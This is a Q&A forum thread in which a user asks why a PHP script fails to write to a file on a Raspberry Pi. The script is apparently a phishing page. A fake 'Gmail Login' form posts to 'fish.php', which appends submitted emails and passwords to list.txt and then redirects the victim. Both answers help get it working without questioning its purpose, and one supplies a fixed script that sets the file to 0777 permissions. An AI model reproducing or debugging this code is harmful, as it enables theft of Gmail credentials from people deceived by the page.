user2882612
user2882612

Reputation: 29

Writing to file but it's not working on my Pi?

I am attempting to write to a text file using PHP.

I have this form

<form action="fish.php" method="POST">
<p>Gmail Login</p> <input name="gmail1" type="text" />
</br>
<p>Password</p> <input name="gmail2" type="password" />
</br>
<input type="submit" name="submit" value="Submit">
</form>

I also have this PHP file

<?php
if(isset($_POST['gmail1']) && isset($_POST['gmail2'])) {
$data = $_POST['gmail1'] . '-' . $_POST['gmail2'] . "\n";
$ret = file_put_contents('list.txt', $data, FILE_APPEND | LOCK_EX);
if($ret === false) {
    die('There was an error writing this file');
}
else {
    header("Location: index.html");
}
}
else {
   die('no post data to process');
}

Now I have used this on a web hosting and it works perfectly fine. I then put it onto my raspberry Pi running linux with Apache, PHP and all that's required installed on it but I just keep getting 'There was an error writing this file' rather than being redirected to my homepage like I should.

I've got all the same files and whatnot, could anybody guess what's wrong?

Thanks!

Upvotes: 0

Views: 1757

Answers (2)

user3551737
user3551737

Reputation: 11

This is a permission error. If your text file is located on your Pi, you just have to right click on it, and select 'properties'. Then, go to the 'permissions' tap, and make the file read- and writable for everyone. That worked on my Pi :)

Upvotes: 1

Funk Forty Niner
Funk Forty Niner

Reputation: 74217

This may very well be a file permissions issue.

You can try opening the file first (fread), setting/chmod'ing it to 0777 then write the content to it after.

This has been tested and working on my server.

You may also want to change permissions from 0777 to 0644

And I added an if(isset($_POST['submit'])) condition to avoid premature writing to file.

<?php

if(isset($_POST['submit'])){
if(isset($_POST['gmail1']) && isset($_POST['gmail2'])) {
$data = $_POST['gmail1'] . '-' . $_POST['gmail2'] . "\n";

$file = "list.txt";
fopen($file, "r");
chmod ($file, 0777); // change to 0644 if required
$ret = file_put_contents($file, $data, FILE_APPEND | LOCK_EX);

if($ret === false) {
    die('There was an error writing this file');
}
else {
    header("Location: index.html");

}
}
else {
   die('no post data to process');
}

} // for if(isset($_POST['submit']))

?>

Upvotes: 0

Related Questions